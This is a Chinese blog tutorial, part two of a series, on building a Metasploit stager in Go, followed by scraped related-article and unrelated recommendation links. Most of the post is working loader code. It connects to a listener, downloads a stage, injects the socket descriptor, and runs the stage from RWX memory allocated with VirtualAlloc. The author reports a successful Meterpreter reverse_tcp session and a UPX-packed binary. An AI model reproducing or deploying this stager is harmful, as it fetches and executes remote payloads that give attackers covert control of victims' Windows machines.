msf stagers开发不完全指北(二)
采用 Golang 开发stagers
上一篇文章 msf stagers开发不完全指北(一)中我们谈到如何采用 c 进行 msf 的 stagers 开发,这篇文章我们探讨一下如何使用 Golang 实现同样的功能
思路梳理
在 Golang 中一点比较重要的是,我们如何能够获取到 socket 的文件描述符,除此之外,我们还是同样的步骤
- 向 msf 监听地址发起 tcp 请求
- 获取 stages
- 将 socket fd 放入寄存器 edi
- 从起始地址开始执行 stages
编译环境
OS: Windows 10
Golang: go version go1.14.1 windows/amd64
获取stages
socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
return err
}
// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
return err
}
if numOfBytes != 4 {
return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))
// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
return err
}
if numOfBytes != payloadSize {
return errors.New("Number of payload bytes does not match payload size! ")
}
这里有几点我们需要注意的地方,第一是读取stages长度是需要使用 binary 库把它转化为 int32,你可以理解为 python 中的 struct 库,第二个是我们惯用的从 socket 连接读取数据使用的是 Read,但是并不能读全,和网络有关系,需要使用 ReadFull 或者 ReadAtLeast 进行读取。读取到 stages 后,我们可以进行下一步操作了。
socket fd 放入 edi
conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff
这部分代码就是我上面所说的难点了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一个接口 type Conn interface ,我们需要找到他的真实类型,继续往里面跟我们会发现他的真实类型是 *net.TCPConn,为什么要做这一步?
我们先看看这个结构体
// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
conn
}
type conn struct {
fd *netFD
}
我们其实需要的是里面的文件描述符,我们再往里跟一下
// Network file descriptor.
type netFD struct {
pfd poll.FD
// immutable until Close
family int
sotype int
isConnected bool // handshake completed or use of association with peer
net string
laddr Addr
raddr Addr
}
// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
// Lock sysfd and serialize access to Read and Write methods.
fdmu fdMutex
// System file descriptor. Immutable until Close.
Sysfd syscall.Handle
// Read operation.
rop operation
// Write operation.
wop operation
// I/O poller.
pd pollDesc
// Used to implement pread/pwrite.
l sync.Mutex
// For console I/O.
lastbits []byte // first few bytes of the last incomplete rune in last write
readuint16 []uint16 // buffer to hold uint16s obtained with ReadConsole
readbyte []byte // buffer to hold decoding of readuint16 from utf16 to utf8
readbyteOffset int // readbyte[readOffset:] is yet to be consumed with file.Read
// Semaphore signaled when file is closed.
csema uint32
skipSyncNotif bool
// Whether this is a streaming descriptor, as opposed to a
// packet-based descriptor like a UDP socket.
IsStream bool
// Whether a zero byte read indicates EOF. This is false for a
// message based socket connection.
ZeroReadIsEOF bool
// Whether this is a file rather than a network socket.
isFile bool
// The kind of this file.
kind fileKind
}
可以看到 Sysfd 是文件描述符,也就是我们想要的,我们需要取一下,这里因为 Golang 里面小写开头的字段是不导出的,我们需要使用反射取一下
注意:可能因为 Golang 版本不一致,这个结构有所更改,请自行考证一下,主要原因是非导出字段,官方是不保证向下兼容性的
所以获取文件描述符的代码就是
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))
文件描述符是 handle 所指向的值,这里需要注意一下
然后后面的还是我们之前的操作,使用 binary 包把 uint32 转为 4bytes 数组
然后我们需要把 socket fd 放入 edi
payload = append(append([]byte{0xBF}, socketFD...), payload...)
把 mov edi, xxxx 放到了 stages 头部
执行stages
一切的准备工作都做完了,下面就是开始准备执行了,类似执行 shellcode 的方式,这里的实现方式八仙过海各显神通了,我这里只给我我这里的实现方式
// modify payload to comply with the plan9 calling convention
payload = append(
[]byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
append(
payload,
[]byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
)...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)
这里的一串奇奇怪怪的字符可以不用加,只是为了遵守 plan9 汇编的调用约定,一些 push 保存堆栈现场和 pop 还原
然后就是先通过申请 VirtualAlloc 一块可读可写可执行的内存,然后使用 RtlCopyMemory 把 stages 字节码拷贝进去,然后开始跑。
这里的 windows api 使用的声明如下
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
这里其实你也可以使用 x/windows 库方便使用。
结果展示

64位编译出来 1.73M,通过 upx 压缩后 616kb,32位编译出来会更小
执行试试


监听 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上线
注意事项
- 可能因为 Golang 版本不一致,这个结构有所更改,请自行考证一下,主要原因是非导出字段,官方是不保证向下兼容性的
- 依然需要注意位数的差异,比如32位的payload请使用32位编译,64位payload使用64位编译
成果源码
成果源码我就不贴出来了,其实也是这些代码组合在一起
msf stagers开发不完全指北(二)的更多相关文章
- msf stagers开发不完全指北(一)
采用c开发stagers 前言 之前有写过一篇 metasploit payload运行原理浅析(sockedi调用约定是什么),里面有提到以后了解这些东西后可以做的事情,其实包括但不限于自写stag ...
- msf stagers开发不完全指北(四): msf 中使用域前置技术隐藏流量
msf 中使用域前置技术隐藏流量 前几篇都是说了下如何采用不同的语言开发 reverse_tcp 第二阶段,接下来将慢慢分析 reverse_http,这篇文章并不会围绕 stagers 进行讲解,这 ...
- Python 简单入门指北(二)
Python 简单入门指北(二) 2 函数 2.1 函数是一等公民 一等公民指的是 Python 的函数能够动态创建,能赋值给别的变量,能作为参传给函数,也能作为函数的返回值.总而言之,函数和普通变量 ...
- 微信小程序云开发不完全指北
微信小程序云开发不完全指北 首先必须说明云开发的"云"并不是类似云玩家里的云的意思,而是微信小程序真的提供了云开发的接口以及一个简单的提供存储.数据库服务的虚拟后台(对于一些轻量小 ...
- ansible使用指北(二)
前言在上一篇文章里我们了解了ansible的常用模块,今天我们来了解下ansible-playbook,ansbile-playbook是一系统ansible命令的集合,其利用yaml 语言编写,an ...
- .NET 跨平台框架Avalonia UI: 填坑指北(二):在Linux上跑起来了
上一章回顾: .NET 跨平台框架Avalonia UI: 填坑指北(一):熟悉UI操作 本篇将要阐述 包括但不仅限于Avalonia及所有Windows到Linux跨平台开发 的一些注意事项: 一 ...
- 可能比文档还详细--VueRouter完全指北
可能比文档还详细--VueRouter完全指北 前言 关于标题,应该算不上是标题党,因为内容真的很多很长很全面.主要是在官网的基础上又详细总结,举例了很多东西.确保所有新人都能理解!所以实际上很多东西 ...
- ThinkPHP 3.2.x 集成极光推送指北
3.2版本已经过了维护生命周期,官方已经不再维护,请及时更新至5.0版本 -- ThinkPHP 官方仓库 以上,如果有条件,请关闭这个页面,然后升级至 ThinkPHP 5,如果由于各种各样的原因无 ...
- c#封装DBHelper类 c# 图片加水印 (摘)C#生成随机数的三种方法 使用LINQ、Lambda 表达式 、委托快速比较两个集合,找出需要新增、修改、删除的对象 c# 制作正方形图片 JavaScript 事件循环及异步原理(完全指北)
c#封装DBHelper类 public enum EffentNextType { /// <summary> /// 对其他语句无任何影响 /// </summary> ...
随机推荐
- Rocket - debug - TLDebugModuleInner - ROM Generation
https://mp.weixin.qq.com/s/j_CgHU4PnY82NMwJzOqHYg 简单介绍Variable ROM Generation. 1. jalAbstract jalAbs ...
- Java实现 蓝桥杯 算法训练 画图(暴力)
试题 算法训练 画图 问题描述 在一个定义了直角坐标系的纸上,画一个(x1,y1)到(x2,y2)的矩形指将横坐标范围从x1到x2,纵坐标范围从y1到y2之间的区域涂上颜色. 下图给出了一个画了两个矩 ...
- Java实现 LeetCode 659 分割数组为连续子序列 (哈希)
659. 分割数组为连续子序列 输入一个按升序排序的整数数组(可能包含重复数字),你需要将它们分割成几个子序列,其中每个子序列至少包含三个连续整数.返回你是否能做出这样的分割? 示例 1: 输入: [ ...
- Java实现 LeetCode 999 车的可用捕获量(简单搜索)
999. 车的可用捕获量 在一个 8 x 8 的棋盘上,有一个白色车(rook).也可能有空方块,白色的象(bishop)和黑色的卒(pawn).它们分别以字符 "R"," ...
- Java实现 LeetCode 290 单词规律
290. 单词规律 给定一种规律 pattern 和一个字符串 str ,判断 str 是否遵循相同的规律. 这里的 遵循 指完全匹配,例如, pattern 里的每个字母和字符串 str 中的每个非 ...
- Java实现 蓝桥杯VIP 算法提高 质因数2
算法提高 质因数2 时间限制:1.0s 内存限制:256.0MB 将一个正整数N(1<N<32768)分解质因数,把质因数按从小到大的顺序输出.最后输出质因数的个数. 输入格式 一行,一个 ...
- Java实现 洛谷 P2141 珠心算测验
import java.util.LinkedList; import java.util.Scanner; public class Main { private static Scanner ci ...
- java实现三角螺旋阵
方阵的主对角线之上称为"上三角". 请你设计一个用于填充n阶方阵的上三角区域的程序.填充的规则是:使用1,2,3-.的自然数列,从左上角开始,按照顺时针方向螺旋填充. 例如:当n= ...
- Java实现有向图强连通分量的Tarjan算法
1 问题描述 引用自百度百科: 如果两个顶点可以相互通达,则称两个顶点强连通(strongly connected).如果有向图G的每两个顶点都强连通,称G是一个强连通图.有向图的极大强连通子图,称为 ...
- 记录RecyclerView的位置并进行恢复
//监听RecyclerView滚动状态 mRecyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Overri ...